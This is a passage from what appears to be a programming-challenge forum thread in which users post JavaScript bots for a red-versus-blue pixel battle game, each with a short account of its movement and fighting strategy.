(move !== -1) { // Kill setMsg(move.toString() + fight_count.toString()); return move; } else { // Run away var move = dir_to_move[-dir_x][Math.random() > 0.5 ? 1 : -1] setMsg(move.toString() + fight_count.toString()); return move; } } } return 0; } ``` I'm quite happy with my bot at the moment. It has the following tactics: * If no enemy is around, move into a random direction. If I hit a wall or after around 33 moves, I switch direction. * If I see an enemy, I move towards him. (Carefully to not move onto a field, where the enemy can kill me). Once I near enough, move towards him from top or bottom and kill. [Answer] # Blue team - Enemyeater ``` for (var i = 0; i < eNear.length; i++) { var enemy = eNear[i]; var rx = enemy.x - x; var ry = enemy.y - y; if (rx == -1) { if (ry == 1) { return 4; } return 5; } if (rx == 0) { if (ry == 1) { return 2; } return 1; } if (rx == 1) { if (ry == 1) { return 3; } return 6; } } return Math.floor(Math.random() * 7); ``` This little pixel looks for enimens around it and tries to eat it, if there is no pixel around it moves in a random direction. I'm looking forward to see what other peoples comes up with. [Answer] # Red team - Jittery Red Charger ``` var direction = 3; if (getMsg(14314) === ''){ setMsg('3'); } if (getMsg(14314) === '3'){ direction = 6; setMsg('6'); } else if (getMsg(14314) === '4'){ direction = 5; setMsg('5'); } else if (getMsg(14314) === '5'){ direction = 4; setMsg('4'); } else if (getMsg(14314) === '6'){ direction = 3; setMsg('3'); } if(x === 0){ setMsg('3'); } else if(x === 127){ setMsg('5'); } return direction; ``` Red Charger only moves left and right, hoping to exploit Blue Team's inability to move in those directions. After reaching a wall, it turns around and charges in the opposite direction, hoping to blindly destroy any bots in its path. EDIT: Red Charger just downed a gallon of energy drink and now can't stop jittering, it's hoping to use this to its advantage too. It's too caffeinated to listen to its teammates, but it is screaming out every one of its moves. [Answer] # Blue team - LazySoldier ``` try { var state = getMsg(38671); if(state == null) { state = {direction:x==0?1:-1}; } else { state = JSON.parse(state); } var choice = 0; var escape=function(dx,dy) { if(dx==-1) { return y>0?4:5; } else if (dx==1) { return y>0?3:6; } else return 0; }; var eat=function(dx,dy) { var b={'-1,-1':4, '0,-1':2,'1,-1':3,'-1,1':5,'0,1':1,'1,1':6}; k=dx+','+dy; if(b[k]) { return b[k]; } else return 0; }; for(var i=0;i<eNear.length;i++) { var enemy = eNear[i]; var dx=enemy.x-x; var dy=enemy.y-y; if(dy==0 && (dx==-1||dx==1)) { choice = escape(dx,dy); break; } else if(dy==-1 || dy==1) { choice = eat(dx,dy); break; } } if(x==0 || x==127) { state.direction=-state.direction; } if(choice == 0) { choice=state.direction==-1?2:1; } setMsg(JSON.stringify(state)); return choice; } catch(e) { if(console && console.error) { console.error(e); } return 0; } ``` [Answer] # Blue Team - Mass Killer ``` var i, j, enemies = []; var DIRECTIONS = [4, 2, 3, 5, 1, 6]; // initialize 5x5 surroundings for (i = 0; i < 5; i++) { enemies[i] = []; for (j = 0; j < 5; j++) { enemies[i][j] = 0; } } // get amounts of enemies there for (i = 0; i < eNear.length; i++) { var xOff = eNear[i].x - x + 2; var yOff = eNear[i].y - y + 2; if (xOff >= 0 && xOff <= 4 && yOff >= 0 && yOff <= 4) { enemies[yOff][xOff]++; } } // get maximum amount of direct neighbours, where I can move var max = 0, index = -1; // check the triple above for (i = 0; i < 3; i++) { if (enemies[1][i+1] > max) { max = enemies[1][i+1]; index = i; } } // check the triple below for (i = 0; i < 3; i++) { if (enemies[3][i+1] > max) { max = enemies[3][i+1]; index = i + 3; } } // if there is any reachable enemy, stomp on where the biggest amount of them is if (max > 0) { return DIRECTIONS[index]; } // otherwise, if enemy is near (though unreachable), try to move that I am above or below him var unreachable = []; unreachable[4] = enemies[0][1] + enemies[2][1]; // NW (north west) unreachable[3] = enemies[0][3] + enemies[2][3]; // NE unreachable[5] = enemies[4][1] + enemies[2][1]; // SW unreachable[6] = enemies[4][3] + enemies[2][3]; // SE unreachable[2] = enemies[0][2]; // N unreachable[1] = enemies[4][2]; // S max = 0, index = 0; for (i = 1; i <= 6; i++) { if (unreachable[i] > max) { max = unreachable[i]; index = i; } } if (max > 0) { return index; } // if no one is near, let's move randomly return Math.round(Math.random() * 6); ``` I guess pretty straightforward tactic. I count enemies directly reachable by me (I suppose there will be tons of them :) ) and kill the biggest amount. If there are none, at least I'll try to shield myself by stepping above or below the biggest amount of enemies hoping for killing them next step. I gave up taking walls into account, so I just ignore them. It's quite long anyway. I was unable to test/run this code, so there will be many bugs. [Answer] # Blue Team - WatchDog ``` var me = 38403; var currentOwner = parseInt(getMsg(me)); var deltas = {1:{x:0,y:1},2:{x:0,y:-1},3:{x:1,y:-1},4:{x:-1,y:-1},5:{x:-1,y:1},6:{x:1,y:1}}; var check_danger = function(ennemi){ for(var i in deltas){ if(Math.abs(ennemi.x-x-deltas[i].x)<3 && Math.abs(ennemi.y-y-deltas[i].y)<2){ delete deltas[i]; } } } if(eNear.length > 0){ for(var i in eNear){ check_danger(eNear[i]); } } for(var i in deltas){ if(x+deltas[i].x>126 || x+deltas[i].x<1 || y+deltas[i].y>126 || y+deltas[i].y<1) delete deltas[i]; } if(!isNaN(currentOwner) && getMsg(currentOwner)!='X'){ var Owner; if(tNear.length > 0){ for(var i in tNear){ if(tNear[i].id == currentOwner) Owner=tNear[i]; } } if(Owner){ var min=32; var choosen; var keys = Object.keys(deltas); if(keys.length>0){ for(var i in deltas){ var value = Math.abs(Owner.x-x-deltas[i].x)+Math.abs(Owner.y-y-deltas[i].y); if(value<min){ min=value; choosen=i; } } if(min>0) return parseInt(choosen); } } } if(tNear.length > 0){ setMsg(""+tNear[0].id); } var keys = Object.keys(deltas); if(keys.length>0){ if(eNear.length>0){ var max=0; var choosen; for(var i in deltas){ var value = Math.abs(eNear[0].x-x-deltas[i].x)+Math.abs(eNear[0].y-y-deltas[i].y); if(value>max){ max=value; choosen=i; } } if(max>5) return parseInt(choosen); } } var deltas = {1:{x:0,y:1},2:{x:0,y:-1},3:{x:1,y:-1},4:{x:-1,y:-1},5:{x:-1,y:1},6:{x:1,y:1}}; if(eNear.length>0){ var min=32; var choosen; for(var i in deltas){ var value = Math.abs(eNear[0].x-x-deltas[i].x)+Math.abs(eNear[0].y-y-deltas[i].y); if(value<min){ min=value; choosen=i; } } if(min==0) return parseInt(choosen); } return parseInt(keys[Math.floor(keys.length*Math.random())]); ``` It move randomly until it grabs an ally, if so it follows him. It tries to avoid to be killed, and kill if he can. Sorry for the horrible code, I went straight and forgot about refactoring. I'll try to imprive the readability if I have the time :) [Answer] # Red Team - Seeker Commander ``` var myself = 29354; //Adjust eNear to account for any friendly information, using Lazy Slayer format //Automatically add Lazy Slayer to list, even if out of range var mytNear = [{ id: 14732 }].concat(tNear); var myeNear = [].concat(eNear); var commandable = []; var orders = []; for (var i = 0; i < mytNear.length; i++) { try { var msg = getMsg(mytNear[i].id); var enemies = undefined; if (msg.indexOf('"m":') !== -1) { commandable.push(mytNear[i]); } if (msg.indexOf(myself) !== -1) { var j = msg.indexOf(myself)+(myself+' ').length; for (; j < msg.length; j++) { var order = parseInt(msg.substr(j,1)); if (order) { orders.push(order); break; } } } if (msg.indexOf('"e":') !== -1) { var enemies = msg.substr(msg.indexOf('"e":')+5).split('"')[0]; if(!enemies) continue; if(enemies.charCodeAt(j) > (32+127)) { for (var j = 0; j < enemies.length-1; j+=2) { myeNear.push({ x: enemies.charCodeAt(j)-174, y: enemies.charCodeAt(j+1)-174, }); } } else { for (var j = 0; j < enemies.length-1; j+=2) { myeNear.push({ x: enemies.charCodeAt(j)-32, y: enemies.charCodeAt(j+1)-32, }); } } } } catch (e) {} } var calculateDistance = function(x1, y1, x2, y2) { return Math.sqrt(Math.pow(x1 - x2, 2) + Math.pow(y1 - y2, 2)); }; var iAmInDanger = function(meX, meY, himX, himY) { return (Math.abs(meY - himY) === 1 && Math.abs(meX - himX) <= 1); }; var iCanKillHim = function(meX, meY, himX, himY) { return (Math.abs(meX - himX) === 1 && Math.abs(meY - himY) <= 1); }; var getMove = function(x, y, tNear, eNear, messages) { var minimalDistanceToFriend = 2; var chosenMove = null; var newDistanceToFriend = null; var minimalVerticalDistanceToEnemy = null, minimalHorizontalDistanceToEnemy = null; var closestFriend = null; var closestEnemy = null; var possibleVictims = []; var possibleMoves = [{ newX: x, newY: y }, { newX: x + 1, newY: y }, { newX: x - 1, newY: y }, { newX: x + 1, newY: y - 1 }, { newX: x - 1, newY: y - 1 }, { newX: x - 1, newY: y + 1 }, { newX: x + 1, newY: y + 1 }]; for (i = 0; i < possibleMoves.length; i++) { if (possibleMoves[i].newX < 0 || possibleMoves[i].newY < 0 || possibleMoves[i].newX > 127 || possibleMoves[i].newY > 127) { possibleMoves[i] = null; } } for (var i = 0; i < eNear.length; i++) { if (closestEnemy === null || calculateDistance(x, y, closestEnemy.x, closestEnemy.y) > calculateDistance(x, y, eNear[i].x, eNear[i].y)) { closestEnemy = eNear[i]; } if (Math.abs(x - eNear[i].x) <= 2 && Math.abs(y - eNear[i].y) <= 2) { possibleVictims.push(eNear[i]); } } for (i = 0; i < tNear.length; i++) { if (closestFriend === null || calculateDistance(x, y, closestFriend.x, closestFriend.y) > calculateDistance(x, y, tNear[i].x, tNear[i].y)) { closestFriend = tNear[i]; } } //If moving to the spot would put me in danger, don't do it for (i = 0; i < possibleMoves.length; i++) { for (var j = 0; j < possibleVictims.length; j++) { if (possibleMoves[i] !== null && iAmInDanger(possibleMoves[i].newX, possibleMoves[i].newY, possibleVictims[j].x, possibleVictims[j].y)) { possibleMoves[i] = null; } } } //If moving to the spot kills an enemy, do it now for (i = 0; i < possibleMoves.length; i++) { for (j = 0; j < possibleVictims.length; j++) { if (possibleMoves[i] !== null && possibleMoves[i].newX === possibleVictims[j].x && possibleMoves[i].newY === possibleVictims[j].y) { messages[2] = 0; return i; } } } //Enemy in sight if (possibleVictims.length > 0) { //This can only occur when they are in my blind spot if (iAmInDanger(x, y, possibleVictims[0].x, possibleVictims[0].y)) { if (closestFriend !== null) { for (i = 0; i < possibleMoves.length; i++) { if (possibleMoves[i] !== null) { var distance = calculateDistance(possibleMoves[i].newX, possibleMoves[i].newY, closestFriend.x, closestFriend.y); if (newDistanceToFriend === null || (distance < newDistanceToFriend && distance >= minimalDistanceToFriend)) { newDistanceToFriend = distance; chosenMove = i; } } } messages[2] = 0; setMessage(); return chosenMove; } else { var aggressiveMoves = []; var randomMoves = []; for (i = 0; i < possibleMoves.length; i++) { if (possibleMoves[i] !== null) { if (iCanKillHim(possibleMoves[i].newX, possibleMoves[i].newY, possibleVictims[0].x, possibleVictims[0].y)) { aggressiveMoves.push(i); } randomMoves.push(i); } } var approachCount = messages[2] || 0; if (approachCount < 5 && aggressiveMoves.length > 0) { messages[2] = approachCount + 1; chosenMove = aggressiveMoves[Math.floor(Math.random() * aggressiveMoves.length)]; return chosenMove; } else { chosenMove = randomMoves[Math.floor(Math.random() * randomMoves.length)]; return chosenMove; } } } } //Move towards closest enemy if (closestEnemy != null) { for (i = 1; i < possibleMoves.length; i++) { if (possibleMoves[i] !== null) { var verticalDistance = Math.abs(possibleMoves[i].newY - closestEnemy.y); var horizontalDistance = Math.abs(possibleMoves[i].newX - closestEnemy.x); if (minimalVerticalDistanceToEnemy === null || verticalDistance <= minimalVerticalDistanceToEnemy) { if (minimalVerticalDistanceToEnemy !== null && verticalDistance === minimalVerticalDistanceToEnemy) { if (minimalHorizontalDistanceToEnemy === null || horizontalDistance <= minimalHorizontalDistanceToEnemy) { minimalHorizontalDistanceToEnemy = horizontalDistance; chosenMove = i; } } else { minimalVerticalDistanceToEnemy = verticalDistance; minimalHorizontalDistanceToEnemy = horizontalDistance; chosenMove = i; } } } } messages[2] = 0; return chosenMove; } //Take the order for (var i = 0; i < orders.length; i++) { var order = orders[i].m || orders[i]; if (possibleMoves[order]) { return orders; } } var seekStatus = messages[3] || 0; var seekCount = messages[4] || 0; seekStatus = parseInt(seekStatus, 10); seekCount = parseInt(seekCount, 10); switch (seekStatus) { case 0: if (x < 16) { seekCount = 0; if (y > 111) { seekStatus = 4; } else { seekStatus = 1; } } else { chosenMove = 2; } break; case 1: seekCount++; if (y > 111 || seekCount > 31) { seekStatus = 2; } else { if (seekCount % 2 === 0) { chosenMove = 5; } else { chosenMove = 6; } } break; case 2: if (x > 111) { seekCount = 0; if (y > 111) { seekStatus = 4; } else { seekStatus = 3; } } else { chosenMove = 1; } break; case 3: seekCount++; if (y > 111 || seekCount > 31) { seekStatus = 0; } else { if (seekCount % 2 === 0) { chosenMove = 5; } else { chosenMove = 6; } } break; case 4: seekCount++; if (y < 16) { if (x > 63) { seekStatus = 0; } else { seekStatus = 2; } } else { if (seekCount % 2 === 0) { chosenMove = 3; } else { chosenMove = 4; } } break; } messages[2] = 0; messages[3] = seekStatus; messages[4] = seekCount; return chosenMove; } var messageObj = JSON.parse('{'+getMsg(myself)+'}'); if (!messageObj.$) { messageObj = {$:0}; } var approachCount = (messageObj.$ & 7); var seekStatus = ((messageObj.$ >> 3) & 7); var seekCount = ((messageObj.$ >> 6)); var messages = [x, y, approachCount, seekStatus, seekCount]; var myMove = getMove(x, y, mytNear, myeNear, messages); var msg = '"$":'+(messages[2] + (messages[3]<<3) + (messages[4]<<6)+',"m":'+myMove); orders.length = 0; //Issue commands to my allies for (var i = 0; i < commandable.length; i++) { var ally = commandable[i]; var command = getMove(ally.x, ally.y, tNear, myeNear, messages); var cmdStr = ',"'+ally.id+'":{"m":"'+command+'","a":1,"id":'+myself+'}' if (msg.length + cmdStr.length < 64) { msg += cmdStr; } } if (msg.length+9 < 64) { //Add my list of enemies var enemies = ""; for(var i = 0; i < myeNear; i++) { if (msg.length+enemies.length+9 > 64) { break; } enemies+=String.fromCharCode(eNear[i].x+174)+String.fromCharCode(eNear[i].y+174); } msg += ',"e":"'+enemies+'"'; } setMsg(msg); return myMove; ``` This one is a copy of Minos' SeekerBot with a few modifications. * Compressed internal memory for better message distribution `"$":[seekmode]` * Reads enemy positions from allies using Lazy Slayer's JSON format `"e":"[positions]"`; accepts `[positions]` offset by both `32` and `174` * Reports enemy positions in Lazy Slayer's JSON format, `"e":"[positions]"` offset by `174` * Reports last move with `"m":[move]` to indicate that this bot can be commanded * Issues commands to other bots using `"[ally_id]":{"m":[move],"a":1,"id":29354}`. Command uses same seeker algorithm except at ally's location. If other bots listen to these orders, they should group together and hunt in a pack. Orders only given if ally's message includes `"m":` * Follows commands from other bots, such as: `"29354":[move]` or `"29354":{"m":[move]`. Commands are only followed when no enemies are in range and no other allies are reporting enemies [Answer] # Red Team - BouncerBot ``` function getDir(diff){ return (diff < 0) ? -1 : ((diff > 0) ? 1 : 0); } function randInt(max){ return Math.ceil(Math.random() * max); } var me = 29750; var moves = [ [4,3,3], [2,0,1], [5,5,6] ]; // Directions: -1 = up/left, 1 = down/right, 0 = none if(x === 0){ moves[0] = [3,3,3]; moves[2] = [6,6,6]; } else if(x == 127){ moves[0] = [4,4,4]; moves[2] = [5,5,5]; } for(var i in eNear){ var xDiff = eNear[i].x - x, yDiff = eNear[i].y - y; if(xDiff >= -1 && xDiff <= 1 && yDiff >= -1 && yDiff <= 1){ // If the enemy is directly adjacent, attack setMsg(''); return moves[yDiff + 1][xDiff + 1]; } } if(eNear.length > 0){ var xDiff = eNear[0].x - x, yDiff = eNear[0].y - y; // If it can't attack, move toward the enemy. if(Math.abs(yDiff) == 2){ if(xDiff >= -2 && xDiff <= 0) return 1; else if(xDiff == 2 || xDiff === 1) return 2; } return moves[getDir(yDiff) + 1][getDir(xDiff) + 1]; } var msg = getMsg(me) || '', newDir = parseInt(msg); if(msg === ''){ newDir = randInt(4) + 2; } var isEndgame = move > 512; if(x === 0 || (isEndgame && x < 11)) newDir = (msg == 4) ? 3 : 6; else if(x == 127 || (isEndgame && x > 116)) newDir = (msg == 3) ? 4 : 5; else if((!isEndgame && y < 11) || y === 0) newDir = (msg == 4) ? 5 : 6; else if((!isEndgame && y > 116) || y == 127) newDir = (msg == 5) ? 4 : 3; if(newDir != msg) setMsg(newDir.toString()); return newDir; ``` My bot bounces from wall to wall (not exactly, so it covers different ground) looking for enemies. If it gets one in its range, it attacks, drags them toward a wall, and tries to take them out (think bouncer at a club). [Answer] # Red Team - SideKick ``` var possibleMoves = [ {newX: x, newY: y, value: 1}, {newX: x, newY: y + 1, value: 1}, {newX: x, newY: y - 1, value: 1}, {newX: x + 1, newY: y - 1, value: 1}, {newX: x - 1, newY: y - 1, value: 1}, {newX: x - 1, newY: y + 1, value: 1}, {newX: x + 1, newY: y + 1, value: 1} ]; var isDeadly = function(myX, myY, eX, eY) { return (Math.abs(myY - eY) === 1 && Math.abs(myX - eX) <= 1); } //stay near helpful friends! if (tNear.length > 0) { for (var i = 0; i < tNear.length; i++) { if (Math.abs(tNear[i].x - x) > 2) { if (tNear[i].x > x) { possibleMoves[3].value = possibleMoves[3].value + 5; possibleMoves[1].value = possibleMoves[1].value + 5; possibleMoves[6].value = possibleMoves[6].value + 5; } else { possibleMoves[4].value = possibleMoves[4].value + 5; possibleMoves[2].value = possibleMoves[2].value + 5; possibleMoves[5].value = possibleMoves[5].value + 5; } } if (Math.abs(tNear[i].y - y) > 2) { if (tNear[i].y > y) { possibleMoves[5].value = possibleMoves[5].value + 5; possibleMoves[6].value = possibleMoves[6].value + 5; } else { possibleMoves[4].value = possibleMoves[4].value + 5; possibleMoves[3].value = possibleMoves[3].value + 5; } } } } //chase those enemies! if (eNear.length > 0) { for (var i = 0; i < eNear.length; i++) { if (Math.abs(eNear[i].x - x) > 2) { if (eNear[i].x > x) { possibleMoves[3].value = possibleMoves[3].value + 5; possibleMoves[1].value = possibleMoves[1].value + 5; possibleMoves[6].value = possibleMoves[6].value + 5; } else { possibleMoves[4].value = possibleMoves[4].value + 5; possibleMoves[2].value = possibleMoves[2].value + 5; possibleMoves[5].value = possibleMoves[5].value + 5; } } if (Math.abs(eNear[i].y - y) > 2) { if (eNear[i].y > y) { possibleMoves[5].value = possibleMoves[5].value + 5; possibleMoves[6].value = possibleMoves[6].value + 5; } else { possibleMoves[4].value = possibleMoves[4].value + 5; possibleMoves[3].value = possibleMoves[3].value + 5; } } } } //walls if (x === 127){ possibleMoves[3] = null; possibleMoves[1] = null; possibleMoves[6] = null; } if (x === 0){ possibleMoves[4] = null; possibleMoves[2] = null; possibleMoves[5] = null; } if (y === 0){ possibleMoves[3] = null; possibleMoves[4] = null; } if (y === 127){ possibleMoves[5] = null; possibleMoves[6] = null; } //deadly enemies for (var i = 0; i < eNear.length; i++) { for (var j = 0; j < possibleMoves.length; j++) { if (possibleMoves[j] !== null && isDeadly(possibleMoves[j].newX, possibleMoves[j].newY, eNear[i].x, eNear[i].y)) { possibleMoves[j] = null; } } } var bestMoves = []; for (var i = 0; i < possibleMoves.length; i++) { if (possibleMoves[i] !== null) { if (bestMoves.length === 0 || possibleMoves[i].value > possibleMoves[bestMoves[0]].value) { bestMoves = [i]; } else if (possibleMoves[i].value === possibleMoves[bestMoves[0]].value) { bestMoves.push(i); } } } var returnValue = bestMoves[Math.floor(Math.random()*(bestMoves.length))]; return returnValue; ``` Likes to follow teammates around, good thing there's plenty of them! [Answer] # Blue Team - indecisive magnet ``` var Mul = 4; var Mu = 2; var Mur = 3; var Mdl = 5; var Md = 1; var Mdr = 6; var Ms = 0; var M = [Ms,Md,Mu,Mur,Mul,Mdl,Mdr]; var C = [Mul,Mur,Mdl,Mdr]; var Mc = [{x:0,y:0},{x:0,y:1},{x:0,y:-1},{x:1,y:-1},{x:-1,y:-1},{x:-1,y:1},{x:1,y:1}]; /* If one or more enemies */ var nearEnemies = 0; for(var i=0;i<eNear.length;i++){ if(Math.abs(eNear[i].x-x)+Math.abs(eNear[i].y-y)<5){ nearEnemies++; } } if(nearEnemies >0){ //First check whether I can beat the enemy for(var i=0;i<eNear.length;i++){ for(var j=0;j<7;j++){ if(x+Mc[j].x == eNear[i].x && y+Mc[j].y == eNear[i].y){ return j; } } } // Else advanced tactics function inRangeOfNEnemies(mx,my,eNear){ var n=0; for(var i=0;i<eNear.length;i++){ if( Math.abs(my-eNear[i].y)<=1 && Math.abs(mx-eNear[i].x)==1 ){ n=n+1; } } return n; } //check all all possible moves: var moveDangerousness = new Array(7);; for(var i=0;i<7;i++)moveDangerousness[i]=1/(Math.abs(x+Mc[i].x-64)+Math.abs(y+Mc[i].y-64)+1); //calculate dangerouseness for(var i=0;i<7;i++){ moveDangerousness[i] += inRangeOfNEnemies(x+Mc[i].x,y+Mc[i].y,eNear); } //mind walls for(var i=0;i<7;i++){ if(x+Mc[i].x<0 || x+Mc[i].x>127 || y+Mc[i].y<0 || y+Mc[i].y>127 ){ moveDangerousness[i] = 9999; } } var leastDangerous = moveDangerousness.indexOf(Math.min.apply(Math,moveDangerousness)); return leastDangerous; } else if (eNear.length>3){ //run away from enemies var xmean = 0; var ymean = 0; for(var i=0;i<eNear.length;i++){ xmean += eNear[i].x*1.0/eNear.length; ymean += eNear[i].y*1.0/eNear.length; } var dx = x-xmean; var dy = y-ymean; if(dx >0){ if(dy>0){ return Mdr; } else { return Mur; } } else { if(dy>0){ return Mdl; } else { return Mul; } } } else {//* if there are no enemies *// //walk pattern until you find friend, then folloow friend var dx = 999; var dy = 999; if(tNear.length>0){ for(var i=0;i<tNear.length;i++){ if(Math.abs(dx)+Math.abs(dy) > Math.abs(tNear[i].x-x)+Math.abs(tNear[i].y-y)){ dx = tNear[i].x-x; dy = tNear[i].y-y; } } } else { dx = 64-x+10*(Math.random()-0.5); dy = 64-y+10*(Math.random()-0.5); } if(dx >0){ if(dy>0){ return Mdr; } else { return Mur; } } else { if(dy>0){ return Mdl; } else { return Mul; } } } ``` It has multiple strategies: If it can beat an enemy immediately it will do so, and it will run away from groups of enemies if they are far away enough, else it will fight. Other than that it is just looking for team members and trying to follow them. [Answer] # Blue Team - Fetch [38953] ``` var me = 38953; var msg = getMsg(me); var register = msg ? JSON.parse(msg) : {}; var prevDanger = 0; var danger; var eScope = eNear; var myX = x; var myY = y; var put = setMsg; var get = getMsg; function kill(){ var move = -1; if(!eScope){return -1;} eScope.forEach(function(e){ if(move > -1){return move;} var xDist = Math.abs(e.x-myX); var yDist = Math.abs(e.y-myY); if(xDist < 2 && yDist < 2){ if(e.x == myX){ if(e.y == myY-1){move = 2;} else if(e.y == myY+1){move = 1;} } else if(e.x == myX-1){ if(e.y == myY-1){move = 4;} else if(e.y == myY+1){move = 5;} } else if(e.x == myX+1){ if(e.y == myY-1){move = 3;} else if(e.y == myY+1){move = 6;} } } }); return move; } function live(){ var move = -1; if(!eScope){return -1;} var topHalf = (myY <= 64); eScope.forEach(function(e){ if(move > 0){return move;} //0 on purpose; we might find a better escape var xDist = Math.abs(e.x-myX); var yDist = Math.abs(e.y-myY); if(xDist + yDist < 5){move = 0;} //uh oh! Stand still! if(e.y == myY){ if(e.x == myX-1){move = (topHalf ? 5 : 4);} else if(e.x == myX+1){move = (topHalf ? 6 : 3);} } }); return move; } function evalDanger(){ danger = 0; if(register){prevDanger = register.d;} eScope.forEach(function(e){ var xDist = Math.abs(e.x-myX); var yDist = Math.abs(e.y-myY); danger += ((1/yDist) * (1/xDist)); }); register.d = danger; put(JSON.stringify(register)); return danger; } function distract(){ //run to the edge if safe, to the middle if not var safe = (danger <= prevDanger && danger < .01); var topHalf = myY <= 64; var leftSide = myX <= 64; //lazy init to 'explore' mode if(!register.e){register.e = 1;} //lazy init to whatever corner we're in if(!register.f){ register.f = topHalf ? leftSide ? 4 : 3 : leftSide ? 5 : 6; } //turn 'explore' on (1) or off (2); //if 'off' but hit 'home base', seek a corner if(register.e == 2 && ((myY > 54 && myY < 74) || (myX > 54 && myX < 74))){ register.e = 1 register.f = Math.floor(Math.random()*4)+3; } //if on the outskirts, go back to base if(myY < 10 || myY > 115 || myX < 10 || myX > 115){register.e = 2;} put(JSON.stringify(register)); if(topHalf){ if(leftSide){ if(!safe || register.e == 2){return 6;} } else{ if(!safe || register.e == 2){return 5;} } } else { if(leftSide){ if(!safe || register.e == 2){return 3;} } else{ if(!safe || register.e == 2){return 4;} } } return register.f; } evalDanger(); register.x = myX; register.y = myY; var whee = kill(); if(whee > -1){ return whee; } whee = live(); if(whee > -1){ return whee; } whee = distract(); return whee; ``` [edits: turns out it works a LOT better when I use my actual id and not -1!] A dumb little bot that runs around the board, doing his best to attract attention and draw chasers, and then run to the middle where (hopefully) he'll find somebody to help him, or he'll just stall the chaser and stop him from hunting. Doesn't seem to make a huge impact on overall score due to how powerful the Blue tagteam are, but at the very least I didn't make things worse! Shout in the next 8 hours if you want me to add anything useful to my message. [Answer] # Blue Team - PatrolBot ``` var directionMap = {'0,0':0, '0,1':1, '1,1':6, '1,0':null, '1,-1':3, '0,-1':2, '-1,-1':4, '-1,0':null, '-1,1':5}, direction = parseInt((getMsg(38951) || getMsg(-1) || '').slice(0, 1)); if (typeof direction !== 'number' || isNaN(direction)) direction = 0; if (!tNear.length && !eNear.length) { if (!isDirection(direction) || isNearWall(12, x, y)) { direction = moveTowardsCoords(64, 64, x, y, directionMap, eNear); } else { direction = direction; } } else if (eNear.length) { if (canKill(x, y, eNear, directionMap)) { direction = kill(x, y, eNear, directionMap); } else if (isNearEnemy(x, y, eNear)) { direction = moveToBetterPosition(x, y, eNear, directionMap); } else if (tNear.length + 1 >= eNear.length) { direction = moveTowardsEnemy(eNear, x, y, directionMap); } else { if (tNear.length) { direction = moveTowardsTeam(tNear, x, y, directionMap); } else { direction = moveAwayFromEnemy(eNear, x, y); } } } else if (tNear.length && Math.random() > 0.8) { direction = moveTowardsTeam(tNear, x, y, directionMap); } setMsg((direction || 0).toString()); return direction; function find(arr, func) { for (var i = 0; i < arr.length; i++) { if (func(arr[i])) { return arr[i]; } } } function invert(obj) { var result = {}, key; for (key in obj) { if (obj.hasOwnProperty(key)) { result[obj[key]] = key; } } return result; } function isDirection(direction) { return direction >= 1 && direction <= 6; } function isNearWall(margin, x, y) { return x < margin || x > (127 - margin) || y < margin || y > (127 - margin); } function getDistance(x1, y1, x2, y2) { var xd, yd; xd = x2 - x1; xd = xd * xd; yd = y2 - y1; yd = yd * yd; return Math.sqrt(xd + yd); } function getCoordDiff(x1, y1, x2, y2) { return [x1 - x2, y1 - y2]; } function identifyClosest(arr, x, y) { var lowest = 128; arr = arr.map(function(i) { i.distance = getDistance(x, y, i.x, i.y); return i; }); arr.forEach(function(i) { if (i.distance < lowest) { lowest = i.distance; } }); return find(arr, function(i) { return i.distance === lowest; }); } function identifyClosestTeam(tNear, x, y) { return identifyClosest(tNear, x, y); } function identifyClosestEnemy(eNear, x, y) { return identifyClosest(eNear, x, y); } function kill(x, y, eNear, directionMap) { var enemy = identifyClosestEnemy(eNear, x, y); return enemy ? directionMap[getCoordDiff(enemy.x, enemy.y, x, y).toString()] : 0; } function canKill(x, y, eNear, directionMap) { return !!kill(x, y, eNear, directionMap); } function enemyCanKill(id, x, y, eNear) { var arr = ['1,0', '1,1', '1,-1', '-1,0', '-1,-1', '-1,1'], enemy = find(eNear, function(i) { return i.id === id; }); if (!enemy) { return false; } return arr.indexOf(getCoordDiff(x, y, enemy.x, enemy.y).toString()) !== -1; } function isNearEnemy(x, y, eNear) { var enemy = identifyClosestEnemy(eNear, x, y); if (!enemy) { return 0; } return Math.max.apply(null, getCoordDiff(x, y, enemy.x, enemy.y).map(function(i){ return Math.abs(i); })) <= 2; } function isIntoWall(dx, dy) { return dx > 127 || dx < 0 || dy > 127 || dy < 0; } /** * Picks a random direction heading towards {dx, dy} */ function moveTowardsCoords(destX, destY, oldX, oldY, directionMap, eNear) { return changeDirection(function(newX, newY) { return getDistance(oldX, oldY, destX, destY) - getDistance(newX, newY, destX, destY); }, oldX, oldY, eNear, directionMap); } function changeDirection (scoringFunction, x, y, eNear, directionMap) { var highest = 0, validDirections = (function() { var result = {}; for (var key in directionMap) { if (directionMap.hasOwnProperty(key) && directionMap[key] !== null) { result[key] = directionMap[key]; } } return result; })(), coords = Object.keys(validDirections).map(function(i) { var result = { vector: i, score: 0 }, xy = i.split(',').map(function(term, i) { return parseInt(term) + (i === 0 ? x : y); }); result.x = xy[0]; result.y = xy[1]; result.score = scoringFunction(result.x, result.y, eNear, directionMap); if (result.score > highest) { highest = result.score; } return result; }), arr = coords.filter(function(i) { return i.score === highest; }); var num = Math.floor(Math.random() * arr.length); return validDirections[arr[num].vector]; } function moveTowards(id, x, y, tNear, eNear, directionMap) { var target = find([].concat(tNear, eNear), function(i) { return i.id === id; }); if (target) { return moveTowardsCoords(target.x, target.y, x, y, directionMap, eNear); } else { return 0; } } function moveTowardsEnemy(eNear, x, y, directionMap) { var enemy = identifyClosestEnemy(eNear, x, y); return enemy ? moveTowards(enemy.id, x, y, [], eNear, directionMap) : 0; } function moveTowardsTeam(tNear, x, y, directionMap) { var team = identifyClosestTeam(tNear, x, y); return team ? moveTowards(team.id, x, y, tNear, [], directionMap) : 0; } function moveAwayFromEnemy(eNear, x, y) { var oppositeMap = { 0: 0, 1: 2, 2: 1, 3: 5, 4: 6, 5: 3, 6: 4 }; return oppositeMap[moveTowardsEnemy(eNear, x, y, directionMap)]; } /** * Gives points to each move based on three metrics: * * 2) will not cause us to be killed next turn * 1) will let us kill next turn * * Then randomly picks from the highest scoring moves */ function moveToBetterPosition(x, y, eNear, directionMap) { return changeDirection(function(x, y, eNear, directionMap) { var score = 0; if (canKill(x, y, eNear, directionMap)) { score += 1; } if (!eNear.some(function(e) { return enemyCanKill(e.id, x, y, eNear); })) { score += 2; } if (isIntoWall(x, y)) { score = 0; } return score; }, x, y, eNear, directionMap); } ``` The code is sort of self-documenting. Things that could be done to improve PatrolBot * Refactor - Move everything into IIFE, use variables from closure instead of passing them twenty majillion times. * Add `if (canBeKilled() || isInWall()) { moveToBetterPosition() }` just before return. * Clean up bad behaviour when following a team member next to a wall. * Avoid landing on team 